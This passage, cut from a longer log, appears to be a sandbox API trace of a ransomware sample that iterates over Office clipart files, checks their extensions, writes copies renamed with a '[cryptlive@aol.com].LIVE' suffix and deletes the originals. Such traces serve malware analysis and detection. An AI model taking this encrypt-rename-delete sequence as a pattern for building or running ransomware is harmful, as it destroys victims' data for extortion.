returned 4 [0152.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.575] lstrlenW (lpString=".rar") returned 4 [0152.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.576] lstrlenW (lpString=".bz2") returned 4 [0152.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.576] lstrlenW (lpString=".7z") returned 3 [0152.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0152.576] lstrlenW (lpString=".dbf") returned 4 [0152.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0152.576] lstrlenW (lpString=".1cd") returned 4 [0152.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0152.576] lstrlenW (lpString=".jpg") returned 4 [0152.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0152.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0152.576] lstrlenW (lpString=".doc") returned 4 [0152.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.576] lstrlenW (lpString=".docx") returned 5 [0152.576] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.576] lstrlenW (lpString=".pdf") returned 4 [0152.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.576] lstrlenW (lpString=".xls") returned 4 [0152.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.576] lstrlenW (lpString=".xlsx") returned 5 [0152.576] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.576] lstrlenW (lpString=".ppt") returned 4 [0152.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0152.576] lstrlenW (lpString=".zip") returned 4 [0152.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.576] lstrlenW (lpString=".rar") returned 4 [0152.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.577] lstrlenW (lpString=".bz2") returned 4 [0152.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.577] lstrlenW (lpString=".7z") returned 3 [0152.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0152.577] lstrlenW (lpString=".dbf") returned 4 [0152.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0152.577] lstrlenW (lpString=".1cd") returned 4 [0152.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned 63 [0152.577] lstrlenW (lpString=".jpg") returned 4 [0152.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.577] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.577] lstrlenW (lpString="J0105338.WMF") returned 12 [0152.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0152.578] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=11584) returned 1 [0152.578] CloseHandle (hObject=0x1b8) returned 1 [0152.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 0x20 [0152.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0152.578] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.579] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0152.579] GetLastError () returned 0x0 [0152.579] ReadFile (in: hFile=0x1b8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2d40, lpOverlapped=0x0) returned 1 [0152.617] WriteFile (in: hFile=0x1fc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2d50, lpOverlapped=0x0) returned 1 [0152.618] ReadFile (in: hFile=0x1b8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.618] WriteFile (in: hFile=0x1fc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.619] SetEndOfFile (hFile=0x1fc) returned 1 [0152.619] CloseHandle (hObject=0x1fc) returned 1 [0152.619] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.619] SetEndOfFile (hFile=0x1b8) returned 1 [0152.622] CloseHandle (hObject=0x1b8) returned 1 [0152.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0152.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0152.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0152.623] lstrlenW (lpString=".doc") returned 4 [0152.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.623] lstrlenW (lpString=".docx") returned 5 [0152.623] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.623] lstrlenW (lpString=".pdf") returned 4 [0152.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.623] lstrlenW (lpString=".xls") returned 4 [0152.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.623] lstrlenW (lpString=".xlsx") returned 5 [0152.623] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.623] lstrlenW (lpString=".ppt") returned 4 [0152.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0152.624] lstrlenW (lpString=".zip") returned 4 [0152.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.624] lstrlenW (lpString=".rar") returned 4 [0152.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.624] lstrlenW (lpString=".bz2") returned 4 [0152.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.624] lstrlenW (lpString=".7z") returned 3 [0152.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0152.624] lstrlenW (lpString=".dbf") returned 4 [0152.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0152.624] lstrlenW (lpString=".1cd") returned 4 [0152.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0152.624] lstrlenW (lpString=".jpg") returned 4 [0152.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0152.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0152.624] lstrlenW (lpString=".doc") returned 4 [0152.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.624] lstrlenW (lpString=".docx") returned 5 [0152.624] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.624] lstrlenW (lpString=".pdf") returned 4 [0152.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.624] lstrlenW (lpString=".xls") returned 4 [0152.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.624] lstrlenW (lpString=".xlsx") returned 5 [0152.624] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.624] lstrlenW (lpString=".ppt") returned 4 [0152.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0152.624] lstrlenW (lpString=".zip") returned 4 [0152.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.625] lstrlenW (lpString=".rar") returned 4 [0152.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.625] lstrlenW (lpString=".bz2") returned 4 [0152.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.625] lstrlenW (lpString=".7z") returned 3 [0152.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0152.625] lstrlenW (lpString=".dbf") returned 4 [0152.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0152.625] lstrlenW (lpString=".1cd") returned 4 [0152.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0152.625] lstrlenW (lpString=".jpg") returned 4 [0152.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.625] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.625] lstrlenW (lpString="J0105368.WMF") returned 12 [0152.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0152.649] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=12380) returned 1 [0152.649] CloseHandle (hObject=0x1e0) returned 1 [0152.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 0x20 [0152.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0152.655] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.655] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.656] GetLastError () returned 0x0 [0152.656] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x305c, lpOverlapped=0x0) returned 1 [0152.658] WriteFile (in: hFile=0x38c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3060, lpOverlapped=0x0) returned 1 [0152.659] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.659] WriteFile (in: hFile=0x38c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.660] SetEndOfFile (hFile=0x38c) returned 1 [0152.660] CloseHandle (hObject=0x38c) returned 1 [0152.662] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.662] SetEndOfFile (hFile=0x1e0) returned 1 [0152.664] CloseHandle (hObject=0x1e0) returned 1 [0152.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0152.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0152.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0152.667] lstrlenW (lpString=".doc") returned 4 [0152.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.667] lstrlenW (lpString=".docx") returned 5 [0152.667] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.667] lstrlenW (lpString=".pdf") returned 4 [0152.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.667] lstrlenW (lpString=".xls") returned 4 [0152.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.667] lstrlenW (lpString=".xlsx") returned 5 [0152.667] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.667] lstrlenW (lpString=".ppt") returned 4 [0152.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0152.667] lstrlenW (lpString=".zip") returned 4 [0152.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.667] lstrlenW (lpString=".rar") returned 4 [0152.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.667] lstrlenW (lpString=".bz2") returned 4 [0152.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.667] lstrlenW (lpString=".7z") returned 3 [0152.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0152.667] lstrlenW (lpString=".dbf") returned 4 [0152.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0152.667] lstrlenW (lpString=".1cd") returned 4 [0152.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0152.667] lstrlenW (lpString=".jpg") returned 4 [0152.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0152.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0152.668] lstrlenW (lpString=".doc") returned 4 [0152.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.668] lstrlenW (lpString=".docx") returned 5 [0152.668] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.668] lstrlenW (lpString=".pdf") returned 4 [0152.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.668] lstrlenW (lpString=".xls") returned 4 [0152.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.669] lstrlenW (lpString=".xlsx") returned 5 [0152.669] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.669] lstrlenW (lpString=".ppt") returned 4 [0152.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0152.669] lstrlenW (lpString=".zip") returned 4 [0152.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.669] lstrlenW (lpString=".rar") returned 4 [0152.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.669] lstrlenW (lpString=".bz2") returned 4 [0152.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.669] lstrlenW (lpString=".7z") returned 3 [0152.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0152.669] lstrlenW (lpString=".dbf") returned 4 [0152.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0152.669] lstrlenW (lpString=".1cd") returned 4 [0152.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0152.669] lstrlenW (lpString=".jpg") returned 4 [0152.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.669] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.669] lstrlenW (lpString="J0105376.WMF") returned 12 [0152.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0152.670] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4964) returned 1 [0152.670] CloseHandle (hObject=0x1e0) returned 1 [0152.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 0x20 [0152.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0152.671] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.671] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.671] GetLastError () returned 0x0 [0152.672] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1364, lpOverlapped=0x0) returned 1 [0152.929] WriteFile (in: hFile=0x38c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0152.930] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.930] WriteFile (in: hFile=0x38c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.930] SetEndOfFile (hFile=0x38c) returned 1 [0152.930] CloseHandle (hObject=0x38c) returned 1 [0152.930] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.930] SetEndOfFile (hFile=0x1e0) returned 1 [0152.933] CloseHandle (hObject=0x1e0) returned 1 [0152.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0152.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0152.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0152.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0152.934] lstrlenW (lpString=".doc") returned 4 [0152.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.934] lstrlenW (lpString=".docx") returned 5 [0152.934] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.934] lstrlenW (lpString=".pdf") returned 4 [0152.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.934] lstrlenW (lpString=".xls") returned 4 [0152.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.934] lstrlenW (lpString=".xlsx") returned 5 [0152.934] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.934] lstrlenW (lpString=".ppt") returned 4 [0152.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0152.935] lstrlenW (lpString=".zip") returned 4 [0152.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.935] lstrlenW (lpString=".rar") returned 4 [0152.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString=".bz2") returned 4 [0152.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString=".7z") returned 3 [0152.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0152.935] lstrlenW (lpString=".dbf") returned 4 [0152.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString="C:\\Program Files\\Microsoft 